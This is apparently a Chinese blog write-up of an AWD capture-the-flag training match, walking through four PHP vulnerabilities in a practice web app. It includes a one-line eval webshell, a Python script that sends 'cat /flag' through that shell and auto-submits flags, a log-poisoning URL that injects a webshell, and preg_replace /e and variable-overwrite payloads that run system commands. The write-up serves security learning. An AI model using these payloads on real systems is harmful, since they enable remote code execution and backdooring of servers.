寒假在家,老师组织了AWD训练赛,还是实战出真知,感觉比赛的学习效率是真的高。做个小总结。
也是刚入门,欢迎大佬斧正。

漏洞1:webshell.php

第一个漏洞是后门的,是一句话木马。

<?php @eval($_POST['moxiaoxi']) ?>

很简单,没有什么难度,可以直接菜刀,但是菜刀不能批量自动化获取flag。所以,尝试着写脚本。

import requests
url="http:127.0.0.1"
shell='/webshell.php'
passwd="moxiaoxi"
port='8081'
payload={"moxiaoxi":"system('cat /flag');"
}
url1=url+':'+port+shell
#print(url1)
response=requests.post(url1,payload,timeout=3)
print(response.text)

也可以直接自动化提交。后来有参考了大佬的脚本,改成了可以自动提交的,有点乱,看下思路凑合把(狗头保命)。

import requests
import timeurl="http:127.0.0.1"
shell='/webshell.php'
passwd="moxiaoxi"
port='8081'
payload={"moxiaoxi":"system('cat /flag');"
}
url1=url+':'+port+shelldef up_flag(flag_str):#提交flagheaders = {}print(headers)cookies = {'UM_distinctid': '16fa6e4c4bf175-0678e737cc08938-4c322d7e-144000-16fa6e4c4c02c6','CNZZDATA5082706': 'cnzz_eid%3D1753167733-1579049037-%26ntime%3D1579054437'}url_flag = 'http://47.114.48.65:9090/'data = {'token': 'd23014055f809da3115dd43960fd750c'}data['flag'] = flag_strtry:r = requests.post(url=url_flag, data=data, timeout=3, headers=headers, cookies=cookies)r_ii = re.findall("hulla.send(.*?);</script>", r.text)#提取回显print(r_ii)#查看提交是否成功except:pass
while(1):response=requests.post(url1,payload,timeout=3)flag=response.textup_flag(flag)time.sleep(50)#50秒获取并提交一次

漏洞2:文件包含+报错日志一句话木马

这个是看着大佬之前的讲解做的。看源码分析:

<?php
require_once("library/common.php");//有loadFile()方法
require_once("library/view.php");//有echoContent()方法
$view_class = new View();
$data = array();
if (isset($_GET['page']))
{$data['page'] = filter($_GET['page']);
}
else{$data['page'] = 'js';
}
$view_class->echoContent($data['page'], $data);//使用echoContent()方法。
?>

我们进入view.php,比较多,我们看几个关键部分

function echoContent($vId, $data)//如果我们访问index。php的话//$vId=$data['page'];$data=$data,可以看上面的index.php{$this->data = $data;      $content = loadFile("views/".$vId.".php");//common.php里loadFile("views/*.php"),*为data['page']//$content是views/*.php里的内容   $content = $this->parseHeadAndFoot($content);$content = $this->parseVal($content);$content = $this->parseIf($content);}

那我们再看看common.php里的loadFile(),这也是漏洞2的关键点

function loadFile($filePath)//$filePath="views/*.php",*为data['page']
{global $cfg_basedir;if(!file_exists($filePath)){//如果不存在views/*.phpwrite_log('Try to open Null file:'.$filePath);//连“views/*.php”一块写入日志文件。注意!!*是data[page],即可控return file_get_contents($cfg_basedir.'/error.php');}$fp = @fopen($filePath,'r');$sourceString = @fread($fp,filesize($filePath));//把views.php/md5.php 写入 $sourceString@fclose($fp);return $sourceString;
}

因为views/*.php里的*可控,我们可以构造一句话木马,<?php @eval($_POST['pass']) ?>,再接着我们访问这个日志文件,不就菜刀连过去了嘛,狗头。仔细查看函数,找到了日志文件路径。

但是

看后台文件

.htaccess里的内容。

.htaccess是什么
概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
也就是我们访问不了这个文件,怎么办。继续审计(看大佬讲解)。还有一个action.php

action.php
<?php
require_once("library/common.php");//包含了common.php
require_once("library/view.php");//包含了view.php
$page = filter($_POST['page']).'.php';//我们post过去page,自动给我们加上后缀,求之不得啊
$post_data = array();
foreach ($_POST as $key => $value) {$post_data[$key] = $value;
}
if (file_exists($page))//如果存在,就包含,那我们就可以把之前的日志文件包含进来利用
{@require_once($page);
}
?>
view.php
function filter($input)
{return str_replace('.', '', $input);//替换.为空
}

所以我们捋一下思路
访问index.php,将data[‘page’]作为参数$vId传进view.php的echoContent()方法,简单拼接后变成/view/*.php(*即data[‘page’]),传进loadFile()方法,而loadFile()会检查这个拼接后的文件存在不在,不存在的话就会连同报错和“/view/*.php”,一块写进报错日志文件,像这样

所以我们可以将文件名也就是data[‘page’]构造成一句话上传,构造的url为

http://218.78.48.61:8801/index.php?page=<?php @eval($_POST['pass'])?>

报错写入日志,

然后访问该日志文件,但是被拒绝。看到action.php可以将日志文件包含,所以这次访问action.php,并且构造post传参,获得flag。

漏洞3:文件包含+ preg_replace /e 修饰符下的代码漏洞

文件包含还是在action.php里
preg_replace /e 模式下的代码漏洞在normaliz.php里,分析一下关键部位的代码

<?php
require_once("library/common.php");
require_once("library/view.php");
function action($post_data, $ip_replacement, $mail_replacement){foreach ($post_data as $key => $value) {$$key = $value;//变量覆盖}try{if ($method == '/\\d+\\.\\d+\\.\\d+\\.\\d+/')//我们可以同各国变量覆盖,把$method重写{$res = preg_replace($method, $ip_replacement, $source);//这三个变量都因变量覆盖可控//mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit]) // /e 修饰符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。}else{$res = preg_replace($method, $mail_replacement, $source);//同上}}catch(Exception $e){write_log($e->getMessage());$res=$source;}return $res;
}
$view_class = new View();
$data = array();
$data['page'] = 'normaliz';
$ip_replacement = '222.222.222.222';
$mail_replacement = 'lollol@lol.com';
$data['res'] = action($post_data, $ip_replacement, $mail_replacement);//细看可控的变量
$view_class->echoContent($data['page'], $data);
?>

所以我们可以构造post传参

page=normaliz&res=&method=/a/e&mail_replacement=system('dir');&source=a

漏洞4:文件包含+变量覆盖

文件包含还是action.php的文件包含。
变量覆盖在md5.php里

<?php
require_once("library/common.php");
require_once("library/view.php");function action($post_data){foreach ($post_data as $key => $value) {$$key = $value;//$$变量覆盖,例如$post_data['a']='x',经过这个会变成// $a=x}if ($method==='md5'){//只要$post_data没有['method'],不会进入判断执行$res = md5($source);}if ($method==='sha1'){$res = sha1($source);}return $res;//我们可以控制$res,比如$post_data['res']='x'
}
$view_class = new View();
$data = array();
$data['page'] = 'md5';
$data['res'] = action($post_data);//根据变量覆盖,我们可以控制res
$view_class->echoContent($data['page'], $data);//可以看到,又进入这个函数了
?>

还是进入view.php里分析

function echoContent($vId, $data)//$vId=$data[page]='md5';因为要包含md5.php//$data=array('page'=>'md5','res'=>'***可控***'){$this->data = $data;        $content = loadFile("views/".$vId.".php");//common.php里loadFile("views/md5.php")//$content是views/md5.php里的内容    $content = $this->parseHeadAndFoot($content);//将$content里的{chinaz:header}/{chinaz:footer}替换为header.php里的内容$content = $this->parseVal($content);//将$content里的{?**?}替换,若**在 $data 里,就替换,如不在,替换为“”//例如,$data['res']=aa,那么{?res?}替换为aa;如果$data没有res,就替换为“”$content = $this->parseIf($content);//漏洞触发点}

data在经过echoContent函数效果就是。(具体细节见文末view.php注释版)

,构造post传参

page=md5&res="or @eval($_POST['pass']) or "&pass=phpinfo();

千言万语不如一张图,后期我会把思路图、流程图换上去。
源码分析注释见我的csdn下载,免费

寒假AWD训练之初学代码审计相关推荐

  1. 1.9UPC寒假个人训练第一场

    1.9UPC寒假个人训练第一场 问题 A: 数列 问题 B: 烦恼 问题 C: 停车计费 问题 D: 小区评比 问题 E: 贪婪的国王 问题 F: 等边三角形 问题 G: 甜蜜的烦恼 问题 H: 冰壶 ...

  2. 1.24UPC寒假个人训练第12场

    1.24UPC寒假个人训练第12场(H L M还没补) 问题 A: 马拦过河卒 问题 B: 选数1 问题 C: 产生数 问题 D: 级数求和 问题 E: 幸运数字 问题 F: 对撞 问题 G: 差值求 ...

  3. 1.18upc寒假个人训练第9场

    1.18upc寒假个人训练第9场 问题 A: 6174问题 问题 B: 卖股票 问题 C: 小学生算术 问题 D: 素数II 问题 E: 统计字数 问题 F: 整数拆分 问题 G: 真假鉴定 问题 H ...

  4. 寒假算法训练1-J(分棍子,求最长棍子的数量,另外学习map的排序方法)

    有一根粗细均匀长度为 LL 的木棍,先用红颜色刻度线将它 m 等分,再用蓝色刻度线将其 n 等分(m>n),然后按所有刻度线将该木棍锯成小段,计算并输出长度最长的木棍的长度和棍数. 例如:木棍长 ...

  5. 训练日志 2019.2.24

    寒假训练正式结束了,明天开始正式开学训练 寒假的训练于我个人而言效果还是比较显著的.年前的训练是巩固上学期看过的知识点,数据机构和图论以及一些比较基础的算法都巩固了一下:年后的训练是模块模式,每一到两 ...

  6. 怎么学php代码审计,记一次简单的php代码审计

    PHP代码审计所需工具: (1) 环境:PHPstudy 我这里直接使用phpstudy.其他的如:xampp,lamp等集成环境都可以. Phpsyudy官网地址:https://www.xp.cn ...

  7. Nuist ACM集训队寒假训练计划

    Nuist ACM集训队寒假训练计划 训练目的 寒假主要任务是打好基础,学习一些C++中STL库的知识,为下一阶段比赛作准备. 训练方式 做题. 三天为一个周期,每个周期我会在洛谷上布置5道题目,大家 ...

  8. AWD练习平台搭建 附虚拟机资源

    文章目录 前言 基本环境 平台搭建 系统安装 平台部署 环境启动 实现效果 参考 后记 前言 最近需要准备线下AWD了,但是没有那么多金币每天上BugKu的PVP在线AWD对战进行练习,于是想着可以自 ...

  9. 浙江农林大学ACM集训队2019级队长退役回忆录(未实际退役版本)

    前言 (今后肯定不会再刻意去训练,但是明年还是要回来发挥余热继续打比赛,因此现在的退役实际上是不完全的,在明年大四打完最后的赛季后会重新来补全这篇回忆录) 我还能清晰记得自己第一次来到集训队实验室的场 ...

最新文章

  1. 判断手机是否弹出键盘,改变了手机页面高度,对应inputStatus的状态改变相关控件的大小和位置
  2. AVL树(二叉平衡树)详解与实现
  3. PHP距离春节还剩多少天,2019年春节倒计时 现在距离2019年春节还有多少天 - 中国万年历...
  4. MTK 驱动开发(27)---TP 驱动分析
  5. Reboot运维开发Python-03
  6. php7单独运行,如何让PHP 7运行更加神速
  7. mit的java教材_关于学习MIT6.828操作系统课程lab1记录
  8. 使用qt制作License(原理)
  9. 郝斌——数据结构笔记(数组、链表、栈、队列)(递归)
  10. Java-集合练习题(1)
  11. 关于总时差和自由时差的作用及理由
  12. 手机“入殓师”,你之前有听过吗?
  13. 30分钟看懂经济机器是如何运行的?
  14. 马原(2023版)导论笔记
  15. 使用当前主流的github管理项目代码(记我的第一次项目创建)
  16. python判断字符串是否为回文if语句_如何python判断字符串是否为回文?
  17. 非科班出身的人学习编程不负责任指南
  18. 吕鑫MFC学习系列四
  19. 小程序富文本解析利器mp-html
  20. 789 逃脱阻碍者

热门文章

  1. mysql重做日志文件_MySQL 重做日志文件
  2. pcmark2 android测试,PC跑分狂魔来Android啦!
  3. 国内安装fblualib遇到坑爹到事情,感谢老大哥和功夫网
  4. dataTaDataTable 详细教程
  5. php 淘宝、天猫店铺商品采集
  6. vue-router 的路由拦截
  7. Unity中游戏的声音管理
  8. 义教志愿服务系统c语言,[志愿服务]以己为师 东科学子义教传爱心
  9. 引用CDN内容的方法总结
  10. Android文本排版实现